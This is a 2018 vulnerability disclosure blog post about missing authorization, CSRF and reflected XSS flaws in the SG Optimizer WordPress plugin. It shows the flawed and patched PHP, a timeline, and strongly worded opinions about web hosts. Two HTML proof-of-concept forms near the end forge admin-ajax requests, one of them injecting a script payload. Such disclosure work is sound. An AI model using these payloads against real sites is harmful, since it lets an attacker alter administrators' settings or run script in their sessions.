22 Feb 2018

SiteGround Caused 300,000+ of Their Customers Websites to be Insecure Due to Their Plugin SG Optimizer

When it comes to blame for the poor state of web security one of the parties that should get more blame than they seem to get are web hosts. Not only do they often poorly handle security themselves, but increasingly they have been partnering with really bad security companies, allowing those security companies to cause even more problems. SiteGround is one of those web hosts, with their partnership with Sucuri (which in turns is owned by another web host, GoDaddy, with a horrible security record of their own). Sucuri is a  company that among too many issues to go through, tries to scare people in to hiring them to do unneeded work, lacks a basic understanding of security, and causes their customers websites to remain insecure when they were easily fixed by people not claiming to have the level expertise that Sucuri claims to have.

Considering that SiteGround would have so low regard for their customers to partner with Sucuri, it probably isn’t all that surprising that they have also caused 300,000+ of their customers’ websites (according to wordpress.org) that use their plugin SG Optimizer, to be insecure due to really poor security handling in the plugin.

What stands out about this is how long it took them to fix this. What lead us to look into their plugin and find vulnerabilities in it was SiteGround’s claim about quickly providing protection against a vulnerability in another plugin. In that case they touted how they had provided protection the same day a vulnerability was disclosed. That vulnerability was already fixed several days before the disclosure and was unlikely to have been exploited, so the claimed provided protection wasn’t all that meaningful. When it came to unfixed vulnerabilities in their own plugin though it took them nearly three weeks to fix it, when it could have reasonably done in days at the most.

What we found when we started to look at their plugin three weeks ago was that there was a lack of protection against cross-site request forgery (CSRF) when taking actions permitted by the plugin, due to a lack of a nonce sent with the request to take those (and also a lack of check to make sure a valid nonce was sent when processing the request). That could allow an attacker to cause a logged in Administrator to take actions provided through the plugin, without intending it. The plugin allows changing the website’s caching settings, HTTPS enablement, and what is seems like the most likely to cause issues, it’s PHP version.

When we went to look closer at that we found there was a larger issue related to that, anyone logged in to WordPress would be able to change all those things as well. As an example of that, let’s look at the code that handles changing the URLs that get excluded from caching. That is handled through a function named update_blacklist(), which the plugins register to be available through WordPress’ AJAX functionality:

79
add_action( 'wp_ajax_sg-cachepress-blacklist-update', array( $this, 'update_blacklist' ) );

The way that is registered allows anyone logged in to access the function. The function, located in the file /class-sg-cachepress-admin.php, didn’t do a check to make sure the requests is from a user that should have access to it (or check for a valid nonce to prevent CSRF) before updating the excluded URLS:

260
261
262
public function update_blacklist() {
	die((int)$this->options_handler->update_option('blacklist',$_POST['blacklist']));
}

That has now been fixed adding by adding those checks:

375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
public function update_blacklist() {
	if (!current_user_can( 'manage_options' )) {
		return;
	}
 
	if (!isset($_POST['nonce'])) {
		return;
	}
 
	if (!wp_verify_nonce( $_POST['nonce'], 'sg-cachepress-blacklist-update' )) {
		return;
	}
 
	die((int)$this->options_handler->update_option('blacklist',$_POST['blacklist']));
}

After that we ran the plugin through our Plugin Security Checker, which does limited automated security checks of WordPress plugins (and is now accessible through a WordPress plugin of its own),  and it identified another possible issue in one of those AJAX functions:

A quick test of that showed that in fact the plugin contained a reflected cross-site scripting (XSS) vulnerability since it outputs user input without escaping it first.

That was fixed by restricting access to the relevant function and escaping the input using strip_tags():

62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
function message_hide()
{
	if (!current_user_can( 'manage_options' )) {
		die();
	}
 
	if (!isset($_POST['nonce'])) {
		die();
	}
 
	if (!wp_verify_nonce($_POST['nonce'], 'ajax-notification-nonce')) {
		die();
	}
 
	$id = $_POST['notice_id'];
	$this->options_handler->disable_option('show_notice_' . $id);
 
	echo strip_tags($id);
	wp_die();
}

It really doesn’t say good things about the security of WordPress plugins in general that you have a plugin with 300,000+ active installs that has a vulnerability that can be picked up by our tool (and its good reason to check the plugins you use over and possibly have a security review any flagged as possibly containing security issues).

The good news in all of this is that none of those security issues is the kind of thing that hackers would likely try to exploit.

Proof of Concept for Changing Excluded URLs

The following proof of concept will cause the value of the excluded URLS to be changed to “test”, when logged in to WordPress

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="sg-cachepress-blacklist-update" />
<input type="hidden" name="blacklist" value='test' />
<input type="submit" value="Submit" />
</form>
</body>

Proof of Concept for Reflected Cross-Site Scripting (XSS) Vulnerability

The following proof of concept will cause an alert box with the message “XSS” to be shown, when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="sg-cachepress-message-hide" />
<input type="hidden" name="notice_id" value='<script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • February 2, 2018 – Developer notified.
  • February 5, 2018 – Developer responds.
  • February 22, 2018 – Version 4.0 released, which fixes vulnerabilities.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

One thought on “SiteGround Caused 300,000+ of Their Customers Websites to be Insecure Due to Their Plugin SG Optimizer

  1. First of all, thank you for reporting this issue. We received the notice at a moment when we were preparing a major new release of the plugin. Since the vulnerabilities were affecting the new functionality too, we decided to apply our patches to the new version before we release the update. This led to a delay in the deploy of the new plugin version and took a bit longer, but still within the 30 days term you gave us before disclosing the issue.

    Unfortunately, due to the nature of the vulnerability, this one could not be patched at a server level with a firewall rule, which is what we usually do immediately upon noticing an exploit for all plugins and applications hosted by us.

Leave a Reply to Hristo Pandjarov Cancel reply

Your email address will not be published.